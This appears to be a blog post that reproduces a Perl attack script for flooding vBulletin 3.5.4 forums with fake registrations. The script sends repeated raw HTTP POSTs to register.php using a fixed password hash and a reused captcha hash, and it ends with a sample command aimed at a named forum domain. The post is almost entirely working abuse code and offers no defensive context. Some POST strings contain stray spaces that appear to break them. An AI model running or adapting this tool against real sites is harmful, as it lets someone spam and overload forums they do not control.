Jun 10, 2008
77 Views

flood register(VBB 3.5.4) (perl)

Written by

#!/usr/bin/perl

use IO::Socket;
use Getopt::Std;

getopts(“h:d:n:u:”);

$host = $opt_h;
$dir = $opt_d;
$n = $opt_n;
$u = $opt_u;

print “[~] SERVER : $host\r\n”;
print “[~] PATH : $dir\r\n”;
print “[~] TIMES : $n”;
print “\r\n”;
print “[~] Attacking… \n”;

for($i=1;$i<=$n;$i++) {

$h = $i++;
$user = $u.$h;
$mail = “$user%40stylenet$i.club”;

$mail2= $mail;
$post1 = “s=&do=register&url=$host$dir&nth=0&day=0&year=0&w ho=adult&agree=1”;
$post2 = “s=&do=addmember&url=$host$dirindex.php&agree=1&pa ssword_md5=e10adc3949ba59abbe56e057f20f883e&passwo rdconfirm_md5=e10adc3949ba59abbe56e057f20f883e&day =0&month=0&year=0&username=$user&password=&passwor dconfirm=&email=$mail&emailconfirm=$mail2&imagesta mp=ZJT6EX&imagehash=da1d5161c50f9dd2600b121fdae6cf 5a&referrername=&timezoneoffset=7&dst=2&options%5B adminemail%5D=1”;

print “[+] $user Created !\n”;

$sock = IO::Socket::INET->new( Proto => “tcp”, PeerAddr => “$host”, PeerPort => “80”) || die “[-] CONNECTION FAILED”;
print $sock “POST ${dir}register.php HTTP/1.1\r\n”;
print $sock “Host: $host\n”;
print $sock “Content-Type: application/x-www-form-urlencoded\n”;
print $sock “Content-length: “.length($post1).”\r\n\r\n”;
print $sock “$post1”;
print $sock “\r\n\r\n”;

$sock = IO::Socket::INET->new( Proto => “tcp”, PeerAddr => “$host”, PeerPort => “80”) || die “[-] CONNECTION FAILED”;
print $sock “POST ${dir}register.php HTTP/1.1\r\n”;
print $sock “Host: $host\n”;
print $sock “Content-Type: application/x-www-form-urlencoded\n”;
print $sock “Content-length: “.length($post2).”\r\n\r\n”;
print $sock “$post2”;
print $sock “\r\n\r\n”;
}

run : perl code_perl_ban_save.pl -h crazybands.com -d /forum/ -n 8 -u Night

Article Tags:
· ·
Article Categories:
Bug & Security
    http://linholiver.com

    https://linholiver.com/diary/about/